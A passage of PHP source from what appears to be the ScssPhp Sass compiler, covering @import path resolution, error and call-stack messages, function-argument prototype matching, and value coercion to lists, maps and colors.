        }

        if (!\is_null($currentDir)) {
            $relativePath = $this->resolveImportPath($url, $currentDir);

            if (!\is_null($relativePath)) {
                return $relativePath;
            }
        }

        foreach ($this->importPaths as $dir) {
            if (\is_string($dir)) {
                $path = $this->resolveImportPath($url, $dir);

                if (!\is_null($path)) {
                    return $path;
                }
            } elseif (\is_callable($dir)) {
                // check custom callback for import path
                $file = \call_user_func($dir, $url);

                if (! \is_null($file)) {
                    return $file;
                }
            }
        }

        if ($this->legacyCwdImportPath) {
            $path = $this->resolveImportPath($url, getcwd());

            if (!\is_null($path)) {
                @trigger_error('Resolving imports relatively to the current working directory is deprecated. If that\'s the intended behavior, the value of "getcwd()" should be added as an import path explicitly instead. If this was used for resolving relative imports of the input alongside "chdir" with the source directory, the path of the input file should be passed to "compileString()" instead.', E_USER_DEPRECATED);

                return $path;
            }
        }

        throw $this->error("`$url` file not found for @import");
    }

    /**
     * @param string $url
     * @param string $baseDir
     *
     * @return string|null
     */
    private function resolveImportPath($url, $baseDir)
    {
        $path = Path::join($baseDir, $url);

        $hasExtension = preg_match('/.s[ac]ss$/', $url);

        if ($hasExtension) {
            return $this->checkImportPathConflicts($this->tryImportPath($path));
        }

        $result = $this->checkImportPathConflicts($this->tryImportPathWithExtensions($path));

        if (!\is_null($result)) {
            return $result;
        }

        return $this->tryImportPathAsDirectory($path);
    }

    /**
     * @param string[] $paths
     *
     * @return string|null
     */
    private function checkImportPathConflicts(array $paths)
    {
        if (\count($paths) === 0) {
            return null;
        }

        if (\count($paths) === 1) {
            return $paths[0];
        }

        $formattedPrettyPaths = [];

        foreach ($paths as $path) {
            $formattedPrettyPaths[] = '  ' . $this->getPrettyPath($path);
        }

        throw $this->error("It's not clear which file to import. Found:\n" . implode("\n", $formattedPrettyPaths));
    }

    /**
     * @param string $path
     *
     * @return string[]
     */
    private function tryImportPathWithExtensions($path)
    {
        $result = array_merge(
            $this->tryImportPath($path.'.sass'),
            $this->tryImportPath($path.'.scss')
        );

        if ($result) {
            return $result;
        }

        return $this->tryImportPath($path.'.css');
    }

    /**
     * @param string $path
     *
     * @return string[]
     */
    private function tryImportPath($path)
    {
        $partial = dirname($path).'/_'.basename($path);

        $candidates = [];

        if (is_file($partial)) {
            $candidates[] = $partial;
        }

        if (is_file($path)) {
            $candidates[] = $path;
        }

        return $candidates;
    }

    /**
     * @param string $path
     *
     * @return string|null
     */
    private function tryImportPathAsDirectory($path)
    {
        if (!is_dir($path)) {
            return null;
        }

        return $this->checkImportPathConflicts($this->tryImportPathWithExtensions($path.'/index'));
    }

    /**
     * @param string|null $path
     *
     * @return string
     */
    private function getPrettyPath($path)
    {
        if ($path === null) {
            return '(unknown file)';
        }

        $normalizedPath = $path;
        $normalizedRootDirectory = $this->rootDirectory.'/';

        if (\DIRECTORY_SEPARATOR === '\\') {
            $normalizedRootDirectory = str_replace('\\', '/', $normalizedRootDirectory);
            $normalizedPath = str_replace('\\', '/', $path);
        }

        if (0 === strpos($normalizedPath, $normalizedRootDirectory)) {
            return substr($normalizedPath, \strlen($normalizedRootDirectory));
        }

        return $path;
    }

    /**
     * Set encoding
     *
     * @api
     *
     * @param string|null $encoding
     *
     * @return void
     *
     * @deprecated Non-compliant support for other encodings than UTF-8 is deprecated.
     */
    public function setEncoding($encoding)
    {
        if (!$encoding || strtolower($encoding) === 'utf-8') {
            @trigger_error(sprintf('The "%s" method is deprecated.', __METHOD__), E_USER_DEPRECATED);
        } else {
            @trigger_error(sprintf('The "%s" method is deprecated. Parsing will only support UTF-8 in ScssPhp 2.0. The non-UTF-8 parsing of ScssPhp 1.x is not spec compliant.', __METHOD__), E_USER_DEPRECATED);
        }

        $this->encoding = $encoding;
    }

    /**
     * Ignore errors?
     *
     * @api
     *
     * @param boolean $ignoreErrors
     *
     * @return \ScssPhp\ScssPhp\Compiler
     *
     * @deprecated Ignoring Sass errors is not longer supported.
     */
    public function setIgnoreErrors($ignoreErrors)
    {
        @trigger_error('Ignoring Sass errors is not longer supported.', E_USER_DEPRECATED);

        return $this;
    }

    /**
     * Get source position
     *
     * @api
     *
     * @return array
     *
     * @deprecated
     */
    public function getSourcePosition()
    {
        @trigger_error(sprintf('The "%s" method is deprecated.', __METHOD__), E_USER_DEPRECATED);

        $sourceFile = isset($this->sourceNames[$this->sourceIndex]) ? $this->sourceNames[$this->sourceIndex] : '';

        return [$sourceFile, $this->sourceLine, $this->sourceColumn];
    }

    /**
     * Throw error (exception)
     *
     * @api
     *
     * @param string $msg Message with optional sprintf()-style vararg parameters
     *
     * @throws \ScssPhp\ScssPhp\Exception\CompilerException
     *
     * @deprecated use "error" and throw the exception in the caller instead.
     */
    public function throwError($msg)
    {
        @trigger_error(
            'The method "throwError" is deprecated. Use "error" and throw the exception in the caller instead',
            E_USER_DEPRECATED
        );

        throw $this->error(...func_get_args());
    }

    /**
     * Build an error (exception)
     *
     * @internal
     *
     * @param string $msg Message with optional sprintf()-style vararg parameters
     *
     * @return CompilerException
     */
    public function error($msg, ...$args)
    {
        if ($args) {
            $msg = sprintf($msg, ...$args);
        }

        if (! $this->ignoreCallStackMessage) {
            $msg = $this->addLocationToMessage($msg);
        }

        return new CompilerException($msg);
    }

    /**
     * @param string $msg
     *
     * @return string
     */
    private function addLocationToMessage($msg)
    {
        $line   = $this->sourceLine;
        $column = $this->sourceColumn;

        $loc = isset($this->sourceNames[$this->sourceIndex])
            ? $this->getPrettyPath($this->sourceNames[$this->sourceIndex]) . " on line $line, at column $column"
            : "line: $line, column: $column";

        $msg = "$msg: $loc";

        $callStackMsg = $this->callStackMessage();

        if ($callStackMsg) {
            $msg .= "\nCall Stack:\n" . $callStackMsg;
        }

        return $msg;
    }

    /**
     * @param string $functionName
     * @param array $ExpectedArgs
     * @param int $nbActual
     * @return CompilerException
     *
     * @deprecated
     */
    public function errorArgsNumber($functionName, $ExpectedArgs, $nbActual)
    {
        @trigger_error(sprintf('The "%s" method is deprecated.', __METHOD__), E_USER_DEPRECATED);

        $nbExpected = \count($ExpectedArgs);

        if ($nbActual > $nbExpected) {
            return $this->error(
                'Error: Only %d arguments allowed in %s(), but %d were passed.',
                $nbExpected,
                $functionName,
                $nbActual
            );
        } else {
            $missing = [];

            while (count($ExpectedArgs) && count($ExpectedArgs) > $nbActual) {
                array_unshift($missing, array_pop($ExpectedArgs));
            }

            return $this->error(
                'Error: %s() argument%s %s missing.',
                $functionName,
                count($missing) > 1 ? 's' : '',
                implode(', ', $missing)
            );
        }
    }

    /**
     * Beautify call stack for output
     *
     * @param boolean  $all
     * @param int|null $limit
     *
     * @return string
     */
    protected function callStackMessage($all = false, $limit = null)
    {
        $callStackMsg = [];
        $ncall = 0;

        if ($this->callStack) {
            foreach (array_reverse($this->callStack) as $call) {
                if ($all || (isset($call['n']) && $call['n'])) {
                    $msg = '#' . $ncall++ . ' ' . $call['n'] . ' ';
                    $msg .= (isset($this->sourceNames[$call[Parser::SOURCE_INDEX]])
                          ? $this->getPrettyPath($this->sourceNames[$call[Parser::SOURCE_INDEX]])
                          : '(unknown file)');
                    $msg .= ' on line ' . $call[Parser::SOURCE_LINE];

                    $callStackMsg[] = $msg;

                    if (! \is_null($limit) && $ncall > $limit) {
                        break;
                    }
                }
            }
        }

        return implode("\n", $callStackMsg);
    }

    /**
     * Handle import loop
     *
     * @param string $name
     *
     * @throws \Exception
     */
    protected function handleImportLoop($name)
    {
        for ($env = $this->env; $env; $env = $env->parent) {
            if (! $env->block) {
                continue;
            }

            $file = $this->sourceNames[$env->block->sourceIndex];

            if ($file === null) {
                continue;
            }

            if (realpath($file) === $name) {
                throw $this->error('An @import loop has been found: %s imports %s', $file, basename($file));
            }
        }
    }

    /**
     * Call SCSS @function
     *
     * @param Object $func
     * @param array  $argValues
     *
     * @return array|Number
     */
    protected function callScssFunction($func, $argValues)
    {
        if (! $func) {
            return static::$defaultValue;
        }
        $name = $func->name;

        $this->pushEnv();

        // set the args
        if (isset($func->args)) {
            $this->applyArguments($func->args, $argValues);
        }

        // throw away lines and children
        $tmp = new OutputBlock();
        $tmp->lines    = [];
        $tmp->children = [];

        $this->env->marker = 'function';

        if (! empty($func->parentEnv)) {
            $this->env->declarationScopeParent = $func->parentEnv;
        } else {
            throw $this->error("@function $name() without parentEnv");
        }

        $ret = $this->compileChildren($func->children, $tmp, $this->env->marker . ' ' . $name);

        $this->popEnv();

        return ! isset($ret) ? static::$defaultValue : $ret;
    }

    /**
     * Call built-in and registered (PHP) functions
     *
     * @param string $name
     * @param callable $function
     * @param array  $prototype
     * @param array  $args
     *
     * @return array|Number|null
     */
    protected function callNativeFunction($name, $function, $prototype, $args)
    {
        $libName = (is_array($function) ? end($function) : null);
        $sorted_kwargs = $this->sortNativeFunctionArgs($libName, $prototype, $args);

        if (\is_null($sorted_kwargs)) {
            return null;
        }
        @list($sorted, $kwargs) = $sorted_kwargs;

        if ($name !== 'if') {
            foreach ($sorted as &$val) {
                if ($val !== null) {
                    $val = $this->reduce($val, true);
                }
            }
        }

        $returnValue = \call_user_func($function, $sorted, $kwargs);

        if (! isset($returnValue)) {
            return null;
        }

        if (\is_array($returnValue) || $returnValue instanceof Number) {
            return $returnValue;
        }

        @trigger_error(sprintf('Returning a PHP value from the "%s" custom function is deprecated. A sass value must be returned instead.', $name), E_USER_DEPRECATED);

        return $this->coerceValue($returnValue);
    }

    /**
     * Get built-in function
     *
     * @param string $name Normalized name
     *
     * @return array
     */
    protected function getBuiltinFunction($name)
    {
        $libName = self::normalizeNativeFunctionName($name);
        return [$this, $libName];
    }

    /**
     * Normalize native function name
     *
     * @internal
     *
     * @param string $name
     *
     * @return string
     */
    public static function normalizeNativeFunctionName($name)
    {
        $name = str_replace("-", "_", $name);
        $libName = 'lib' . preg_replace_callback(
            '/_(.)/',
            function ($m) {
                return ucfirst($m[1]);
            },
            ucfirst($name)
        );
        return $libName;
    }

    /**
     * Check if a function is a native built-in scss function, for css parsing
     *
     * @internal
     *
     * @param string $name
     *
     * @return bool
     */
    public static function isNativeFunction($name)
    {
        return method_exists(Compiler::class, self::normalizeNativeFunctionName($name));
    }

    /**
     * Sorts keyword arguments
     *
     * @param string $functionName
     * @param array|null  $prototypes
     * @param array  $args
     *
     * @return array|null
     */
    protected function sortNativeFunctionArgs($functionName, $prototypes, $args)
    {
        static $parser = null;

        if (! isset($prototypes)) {
            $keyArgs = [];
            $posArgs = [];

            if (\is_array($args) && \count($args) && \end($args) === static::$null) {
                array_pop($args);
            }

            // separate positional and keyword arguments
            foreach ($args as $arg) {
                list($key, $value) = $arg;

                if (empty($key) or empty($key[1])) {
                    $posArgs[] = empty($arg[2]) ? $value : $arg;
                } else {
                    $keyArgs[$key[1]] = $value;
                }
            }

            return [$posArgs, $keyArgs];
        }

        // specific cases ?
        if (\in_array($functionName, ['libRgb', 'libRgba', 'libHsl', 'libHsla'])) {
            // notation 100 127 255 / 0 is in fact a simple list of 4 values
            foreach ($args as $k => $arg) {
                if ($arg[1][0] === Type::T_LIST && \count($arg[1][2]) === 3) {
                    $args[$k][1][2] = $this->extractSlashAlphaInColorFunction($arg[1][2]);
                }
            }
        }

        list($positionalArgs, $namedArgs, $names, $separator, $hasSplat) = $this->evaluateArguments($args, false);

        if (! \is_array(reset($prototypes))) {
            $prototypes = [$prototypes];
        }

        $parsedPrototypes = array_map([$this, 'parseFunctionPrototype'], $prototypes);
        assert(!empty($parsedPrototypes));
        $matchedPrototype = $this->selectFunctionPrototype($parsedPrototypes, \count($positionalArgs), $names);

        $this->verifyPrototype($matchedPrototype, \count($positionalArgs), $names, $hasSplat);

        $vars = $this->applyArgumentsToDeclaration($matchedPrototype, $positionalArgs, $namedArgs, $separator);

        $finalArgs = [];
        $keyArgs = [];

        foreach ($matchedPrototype['arguments'] as $argument) {
            list($normalizedName, $originalName, $default) = $argument;

            if (isset($vars[$normalizedName])) {
                $value = $vars[$normalizedName];
            } else {
                $value = $default;
            }

            // special null value as default: translate to real null here
            if ($value === [Type::T_KEYWORD, 'null']) {
                $value = null;
            }

            $finalArgs[] = $value;
            $keyArgs[$originalName] = $value;
        }

        if ($matchedPrototype['rest_argument'] !== null) {
            $value = $vars[$matchedPrototype['rest_argument']];

            $finalArgs[] = $value;
            $keyArgs[$matchedPrototype['rest_argument']] = $value;
        }

        return [$finalArgs, $keyArgs];
    }

    /**
     * Parses a function prototype to the internal representation of arguments.
     *
     * The input is an array of strings describing each argument, as supported
     * in {@see registerFunction}. Argument names don't include the `$`.
     * The output contains the list of positional argument, with their normalized
     * name (underscores are replaced by dashes), their original name (to be used
     * in case of error reporting) and their default value. The output also contains
     * the normalized name of the rest argument, or null if the function prototype
     * is not variadic.
     *
     * @param string[] $prototype
     *
     * @return array
     * @phpstan-return array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null}
     */
    private function parseFunctionPrototype(array $prototype)
    {
        static $parser = null;

        $arguments = [];
        $restArgument = null;

        foreach ($prototype as $p) {
            if (null !== $restArgument) {
                throw new \InvalidArgumentException('The argument declaration is invalid. The rest argument must be the last one.');
            }

            $default = null;
            $p = explode(':', $p, 2);
            $name = str_replace('_', '-', $p[0]);

            if (isset($p[1])) {
                $defaultSource = trim($p[1]);

                if ($defaultSource === 'null') {
                    // differentiate this null from the static::$null
                    $default = [Type::T_KEYWORD, 'null'];
                } else {
                    if (\is_null($parser)) {
                        $parser = $this->parserFactory(__METHOD__);
                    }

                    $parser->parseValue($defaultSource, $default);
                }
            }

            if (substr($name, -3) === '...') {
                $restArgument = substr($name, 0, -3);
            } else {
                $arguments[] = [$name, $p[0], $default];
            }
        }

        return [
            'arguments' => $arguments,
            'rest_argument' => $restArgument,
        ];
    }

    /**
     * Returns the function prototype for the given positional and named arguments.
     *
     * If no exact match is found, finds the closest approximation. Note that this
     * doesn't guarantee that $positional and $names are valid for the returned
     * prototype.
     *
     * @param array[]               $prototypes
     * @param int                   $positional
     * @param array<string, string> $names A set of names, as both keys and values
     *
     * @return array
     *
     * @phpstan-param non-empty-list<array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null}> $prototypes
     * @phpstan-return array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null}
     */
    private function selectFunctionPrototype(array $prototypes, $positional, array $names)
    {
        $fuzzyMatch = null;
        $minMismatchDistance = null;

        foreach ($prototypes as $prototype) {
            // Ideally, find an exact match.
            if ($this->checkPrototypeMatches($prototype, $positional, $names)) {
                return $prototype;
            }

            $mismatchDistance = \count($prototype['arguments']) - $positional;

            if ($minMismatchDistance !== null) {
                if (abs($mismatchDistance) > abs($minMismatchDistance)) {
                    continue;
                }

                // If two overloads have the same mismatch distance, favor the overload
                // that has more arguments.
                if (abs($mismatchDistance) === abs($minMismatchDistance) && $mismatchDistance < 0) {
                    continue;
                }
            }

            $minMismatchDistance = $mismatchDistance;
            $fuzzyMatch = $prototype;
        }

        return $fuzzyMatch;
    }

    /**
     * Checks whether the argument invocation matches the callable prototype.
     *
     * The rules are similar to {@see verifyPrototype}. The boolean return value
     * avoids the overhead of building and catching exceptions when the reason of
     * not matching the prototype does not need to be known.
     *
     * @param array                 $prototype
     * @param int                   $positional
     * @param array<string, string> $names
     *
     * @return bool
     *
     * @phpstan-param array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null} $prototype
     */
    private function checkPrototypeMatches(array $prototype, $positional, array $names)
    {
        $nameUsed = 0;

        foreach ($prototype['arguments'] as $i => $argument) {
            list ($name, $originalName, $default) = $argument;

            if ($i < $positional) {
                if (isset($names[$name])) {
                    return false;
                }
            } elseif (isset($names[$name])) {
                $nameUsed++;
            } elseif ($default === null) {
                return false;
            }
        }

        if ($prototype['rest_argument'] !== null) {
            return true;
        }

        if ($positional > \count($prototype['arguments'])) {
            return false;
        }

        if ($nameUsed < \count($names)) {
            return false;
        }

        return true;
    }

    /**
     * Verifies that the argument invocation is valid for the callable prototype.
     *
     * @param array                 $prototype
     * @param int                   $positional
     * @param array<string, string> $names
     * @param bool                  $hasSplat
     *
     * @return void
     *
     * @throws SassScriptException
     *
     * @phpstan-param array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null} $prototype
     */
    private function verifyPrototype(array $prototype, $positional, array $names, $hasSplat)
    {
        $nameUsed = 0;

        foreach ($prototype['arguments'] as $i => $argument) {
            list ($name, $originalName, $default) = $argument;

            if ($i < $positional) {
                if (isset($names[$name])) {
                    throw new SassScriptException(sprintf('Argument $%s was passed both by position and by name.', $originalName));
                }
            } elseif (isset($names[$name])) {
                $nameUsed++;
            } elseif ($default === null) {
                throw new SassScriptException(sprintf('Missing argument $%s', $originalName));
            }
        }

        if ($prototype['rest_argument'] !== null) {
            return;
        }

        if ($positional > \count($prototype['arguments'])) {
            $message = sprintf(
                'Only %d %sargument%s allowed, but %d %s passed.',
                \count($prototype['arguments']),
                empty($names) ? '' : 'positional ',
                \count($prototype['arguments']) === 1 ? '' : 's',
                $positional,
                $positional === 1 ? 'was' : 'were'
            );
            if (!$hasSplat) {
                throw new SassScriptException($message);
            }

            $message = $this->addLocationToMessage($message);
            $message .= "\nThis will be an error in future versions of Sass.";
            $this->logger->warn($message, true);
        }

        if ($nameUsed < \count($names)) {
            $unknownNames = array_values(array_diff($names, array_column($prototype['arguments'], 0)));
            $lastName = array_pop($unknownNames);
            $message = sprintf(
                'No argument%s named $%s%s.',
                $unknownNames ? 's' : '',
                $unknownNames ? implode(', $', $unknownNames) . ' or $' : '',
                $lastName
            );
            throw new SassScriptException($message);
        }
    }

    /**
     * Evaluates the argument from the invocation.
     *
     * This returns several things about this invocation:
     * - the list of positional arguments
     * - the map of named arguments, indexed by normalized names
     * - the set of names used in the arguments (that's an array using the normalized names as keys for O(1) access)
     * - the separator used by the list using the splat operator, if any
     * - a boolean indicator whether any splat argument (list or map) was used, to support the incomplete error reporting.
     *
     * @param array[] $args
     * @param bool    $reduce Whether arguments should be reduced to their value
     *
     * @return array
     *
     * @throws SassScriptException
     *
     * @phpstan-return array{0: list<array|Number>, 1: array<string, array|Number>, 2: array<string, string>, 3: string|null, 4: bool}
     */
    private function evaluateArguments(array $args, $reduce = true)
    {
        // this represents trailing commas
        if (\count($args) && end($args) === static::$null) {
            array_pop($args);
        }

        $splatSeparator = null;
        $keywordArgs = [];
        $names = [];
        $positionalArgs = [];
        $hasKeywordArgument = false;
        $hasSplat = false;

        foreach ($args as $arg) {
            if (!empty($arg[0])) {
                $hasKeywordArgument = true;

                assert(\is_string($arg[0][1]));
                $name = str_replace('_', '-', $arg[0][1]);

                if (isset($keywordArgs[$name])) {
                    throw new SassScriptException(sprintf('Duplicate named argument $%s.', $arg[0][1]));
                }

                $keywordArgs[$name] = $this->maybeReduce($reduce, $arg[1]);
                $names[$name] = $name;
            } elseif (! empty($arg[2])) {
                // $arg[2] means a var followed by ... in the arg ($list... )
                $val = $this->reduce($arg[1], true);
                $hasSplat = true;

                if ($val[0] === Type::T_LIST) {
                    foreach ($val[2] as $item) {
                        if (\is_null($splatSeparator)) {
                            $splatSeparator = $val[1];
                        }

                        $positionalArgs[] = $this->maybeReduce($reduce, $item);
                    }

                    if (isset($val[3]) && \is_array($val[3])) {
                        foreach ($val[3] as $name => $item) {
                            assert(\is_string($name));

                            $normalizedName = str_replace('_', '-', $name);

                            if (isset($keywordArgs[$normalizedName])) {
                                throw new SassScriptException(sprintf('Duplicate named argument $%s.', $name));
                            }

                            $keywordArgs[$normalizedName] = $this->maybeReduce($reduce, $item);
                            $names[$normalizedName] = $normalizedName;
                            $hasKeywordArgument = true;
                        }
                    }
                } elseif ($val[0] === Type::T_MAP) {
                    foreach ($val[1] as $i => $name) {
                        $name = $this->compileStringContent($this->coerceString($name));
                        $item = $val[2][$i];

                        if (! is_numeric($name)) {
                            $normalizedName = str_replace('_', '-', $name);

                            if (isset($keywordArgs[$normalizedName])) {
                                throw new SassScriptException(sprintf('Duplicate named argument $%s.', $name));
                            }

                            $keywordArgs[$normalizedName] = $this->maybeReduce($reduce, $item);
                            $names[$normalizedName] = $normalizedName;
                            $hasKeywordArgument = true;
                        } else {
                            if (\is_null($splatSeparator)) {
                                $splatSeparator = $val[1];
                            }

                            $positionalArgs[] = $this->maybeReduce($reduce, $item);
                        }
                    }
                } elseif ($val[0] !== Type::T_NULL) { // values other than null are treated a single-element lists, while null is the empty list
                    $positionalArgs[] = $this->maybeReduce($reduce, $val);
                }
            } elseif ($hasKeywordArgument) {
                throw new SassScriptException('Positional arguments must come before keyword arguments.');
            } else {
                $positionalArgs[] = $this->maybeReduce($reduce, $arg[1]);
            }
        }

        return [$positionalArgs, $keywordArgs, $names, $splatSeparator, $hasSplat];
    }

    /**
     * @param bool         $reduce
     * @param array|Number $value
     *
     * @return array|Number
     */
    private function maybeReduce($reduce, $value)
    {
        if ($reduce) {
            return $this->reduce($value, true);
        }

        return $value;
    }

    /**
     * Apply argument values per definition
     *
     * @param array[]    $argDef
     * @param array|null $argValues
     * @param boolean $storeInEnv
     * @param boolean $reduce
     *   only used if $storeInEnv = false
     *
     * @return array<string, array|Number>
     *
     * @phpstan-param list<array{0: string, 1: array|Number|null, 2: bool}> $argDef
     *
     * @throws \Exception
     */
    protected function applyArguments($argDef, $argValues, $storeInEnv = true, $reduce = true)
    {
        $output = [];

        if (\is_null($argValues)) {
            $argValues = [];
        }

        if ($storeInEnv) {
            $storeEnv = $this->getStoreEnv();

            $env = new Environment();
            $env->store = $storeEnv->store;
        }

        $prototype = ['arguments' => [], 'rest_argument' => null];
        $originalRestArgumentName = null;

        foreach ($argDef as $i => $arg) {
            list($name, $default, $isVariable) = $arg;
            $normalizedName = str_replace('_', '-', $name);

            if ($isVariable) {
                $originalRestArgumentName = $name;
                $prototype['rest_argument'] = $normalizedName;
            } else {
                $prototype['arguments'][] = [$normalizedName, $name, !empty($default) ? $default : null];
            }
        }

        list($positionalArgs, $namedArgs, $names, $splatSeparator, $hasSplat) = $this->evaluateArguments($argValues, $reduce);

        $this->verifyPrototype($prototype, \count($positionalArgs), $names, $hasSplat);

        $vars = $this->applyArgumentsToDeclaration($prototype, $positionalArgs, $namedArgs, $splatSeparator);

        foreach ($prototype['arguments'] as $argument) {
            list($normalizedName, $name) = $argument;

            if (!isset($vars[$normalizedName])) {
                continue;
            }

            $val = $vars[$normalizedName];

            if ($storeInEnv) {
                $this->set($name, $this->reduce($val, true), true, $env);
            } else {
                $output[$name] = ($reduce ? $this->reduce($val, true) : $val);
            }
        }

        if ($prototype['rest_argument'] !== null) {
            assert($originalRestArgumentName !== null);
            $name = $originalRestArgumentName;
            $val = $vars[$prototype['rest_argument']];

            if ($storeInEnv) {
                $this->set($name, $this->reduce($val, true), true, $env);
            } else {
                $output[$name] = ($reduce ? $this->reduce($val, true) : $val);
            }
        }

        if ($storeInEnv) {
            $storeEnv->store = $env->store;
        }

        foreach ($prototype['arguments'] as $argument) {
            list($normalizedName, $name, $default) = $argument;

            if (isset($vars[$normalizedName])) {
                continue;
            }
            assert($default !== null);

            if ($storeInEnv) {
                $this->set($name, $this->reduce($default, true), true);
            } else {
                $output[$name] = ($reduce ? $this->reduce($default, true) : $default);
            }
        }

        return $output;
    }

    /**
     * Apply argument values per definition.
     *
     * This method assumes that the arguments are valid for the provided prototype.
     * The validation with {@see verifyPrototype} must have been run before calling
     * it.
     * Arguments are returned as a map from the normalized argument names to the
     * value. Additional arguments are collected in a sass argument list available
     * under the name of the rest argument in the result.
     *
     * Defaults are not applied as they are resolved in a different environment.
     *
     * @param array                       $prototype
     * @param array<array|Number>         $positionalArgs
     * @param array<string, array|Number> $namedArgs
     * @param string|null                 $splatSeparator
     *
     * @return array<string, array|Number>
     *
     * @phpstan-param array{arguments: list<array{0: string, 1: string, 2: array|Number|null}>, rest_argument: string|null} $prototype
     */
    private function applyArgumentsToDeclaration(array $prototype, array $positionalArgs, array $namedArgs, $splatSeparator)
    {
        $output = [];
        $minLength = min(\count($positionalArgs), \count($prototype['arguments']));

        for ($i = 0; $i < $minLength; $i++) {
            list($name) = $prototype['arguments'][$i];
            $val = $positionalArgs[$i];

            $output[$name] = $val;
        }

        $restNamed = $namedArgs;

        for ($i = \count($positionalArgs); $i < \count($prototype['arguments']); $i++) {
            $argument = $prototype['arguments'][$i];
            list($name) = $argument;

            if (isset($namedArgs[$name])) {
                $val = $namedArgs[$name];
                unset($restNamed[$name]);
            } else {
                continue;
            }

            $output[$name] = $val;
        }

        if ($prototype['rest_argument'] !== null) {
            $name = $prototype['rest_argument'];
            $rest = array_values(array_slice($positionalArgs, \count($prototype['arguments'])));

            $val = [Type::T_LIST, \is_null($splatSeparator) ? ',' : $splatSeparator , $rest, $restNamed];

            $output[$name] = $val;
        }

        return $output;
    }

    /**
     * Coerce a php value into a scss one
     *
     * @param mixed $value
     *
     * @return array|Number
     */
    protected function coerceValue($value)
    {
        if (\is_array($value) || $value instanceof Number) {
            return $value;
        }

        if (\is_bool($value)) {
            return $this->toBool($value);
        }

        if (\is_null($value)) {
            return static::$null;
        }

        if (is_numeric($value)) {
            return new Number($value, '');
        }

        if ($value === '') {
            return static::$emptyString;
        }

        $value = [Type::T_KEYWORD, $value];
        $color = $this->coerceColor($value);

        if ($color) {
            return $color;
        }

        return $value;
    }

    /**
     * Coerce something to map
     *
     * @param array|Number $item
     *
     * @return array|Number
     */
    protected function coerceMap($item)
    {
        if ($item[0] === Type::T_MAP) {
            return $item;
        }

        if (
            $item[0] === Type::T_LIST &&
            $item[2] === []
        ) {
            return static::$emptyMap;
        }

        return $item;
    }

    /**
     * Coerce something to list
     *
     * @param array|Number $item
     * @param string       $delim
     * @param boolean      $removeTrailingNull
     *
     * @return array
     */
    protected function coerceList($item, $delim = ',', $removeTrailingNull = false)
    {
        if ($item instanceof Number) {
            return [Type::T_LIST, $delim, [$item]];
        }

        if ($item[0] === Type::T_LIST) {
            // remove trailing null from the list
            if ($removeTrailingNull && end($item[2]) === static::$null) {
                array_pop($item[2]);
            }

            return $item;
        }

        if ($item[0] === Type::T_MAP) {
            $keys = $item[1];
            $values = $item[2];
            $list = [];

            for ($i = 0, $s = \count($keys); $i < $s; $i++) {
                $key = $keys[$i];
                $value = $values[$i];

                switch ($key[0]) {
                    case Type::T_LIST:
                    case Type::T_MAP:
                    case Type::T_STRING:
                    case Type::T_NULL:
                        break;

                    default:
                        $key = [Type::T_KEYWORD, $this->compileStringContent($this->coerceString($key))];
                        break;
                }

                $list[] = [
                    Type::T_LIST,
                    '',
                    [$key, $value]
                ];
            }

            return [Type::T_LIST, ',', $list];
        }

        return [Type::T_LIST, $delim, [$item]];
    }

    /**
     * Coerce color for expression
     *
     * @param array|Number $value
     *
     * @return array|Number
     */
    protected function coerceForExpression($value)
    {
        if ($color = $this->coerceColor($value)) {
            return $color;
        }

        return $value;
    }

    /**
     * Coerce value to color
     *
     * @param array|Number $value
     * @param bool         $inRGBFunction
     *
     * @return array|null
     */
    protected function coerceColor($value, $inRGBFunction = false)
    {
        if ($value instanceof Number) {
            return null;
        }

        switch ($value[0]) {
            case Type::T_COLOR:
                for ($i = 1; $i <= 3; $i++) {
                    if (! is_numeric($value[$i])) {
                        $cv = $this->compileRGBAValue($value[$i]);

                        if (! is_numeric($cv)) {
                            return null;
                        }

                        $value[$i] = $cv;
                    }

                    if (isset($value[4])) {
                        if (! is_numeric($value[4])) {
                            $cv = $this->compileRGBAValue($value[4], true);

                            if (! is_numeric($cv)) {
                                return null;
                            }

                            $value[4] = $cv;
                        }
                    }
                }

                return $value;

            case Type::T_LIST:
                if ($inRGBFunction) {
                    if (\count($value[2]) == 3 || \count($value[2]) == 4) {
                        $color = $value[2];
                        array_unshift($color, Type::T_COLOR);

                        return $this->coerceColor($color);
                    }
                }

                return null;

            case Type::T_KEYWORD:
                if (! \is_string($value[1])) {
                    return null;
                }

                $name = strtolower($value[1]);

                // hexa color?
                if (preg_match('/^#([0-9a-f]+)$/i', $name, $m)) {
                    $nofValues = \strlen($m[1]);

                    if (\in_array($nofValues, [3, 4, 6, 8])) {
                        $nbChannels = 3;
                        $color      = [];
                        $num        = hexdec($m[1]);

                        switch ($nofValues) {
                            case 4:
                                $nbChannels = 4;
                                // then continuing with the case 3:
                            case 3:
                                for ($i = 0; $i < $nbChannels; $i++) {
                                    $t = $num & 0xf;
                                    array_unshift($color, $t << 4 | $t);
                                    $num >>= 4;
                                }

                                break;

                            case 8:
                                $nbChannels = 4;
                                // then continuing with the case 6:
                            case 6:
                                for ($i = 0; $i < $nbChannels; $i++) {
                                    array_unshift($color, $num & 0xff);
                                    $num >>= 8;
                                }

                                break;
                        }

                        if ($nbChannels === 4) {
                            if ($color[3] === 255) {
                                $color[3] = 1; // fully opaque
                            } else {
                                $color[3] = round($color[3] / 255, Number::PRECISION);
                            }
                        }

                        array_unshift($color, Type::T_COLOR);

                        return $color;
                    }
                }

                if ($rgba = Colors::colorNameToRGBa($name)) {
                    return isset($rgba[3])
                        ? [Type::T_COLOR, $rgba[0], $rgba[1], $rgba[2], $rgba[3]]
                        : [Type::T_COLOR, $rgba[0], $rgba[1], $rgba[2]];
                }

                return null;
        }

        return null;
    }

    /**
     * @param integer|Number $value
     * @param boolean        $isAlpha
     *
     * @return integer|mixed
     */
    protected function compileRGBAValue($value, $isAlpha = false)
    {
        if ($isAlpha) {
            return $this->compileColorPartValue($value, 0, 1, false);
        }

        return $this->compileColorPartValue($value, 0, 255, true);
    }

    /**
     * @param mixed         $value
     * @param integer|float $min
     * @param integer|float $max
     * @param boolean       $isInt
     *
     * @return integer|mixed
     */
    protected function compileColorPartValue($value, $min, $max, $isInt = true)
    {
        if (! is_numeric($value)) {
            if (\is_array($value)) {
                $reduced = $this->reduce($value);

                if ($reduced instanceof Number) {
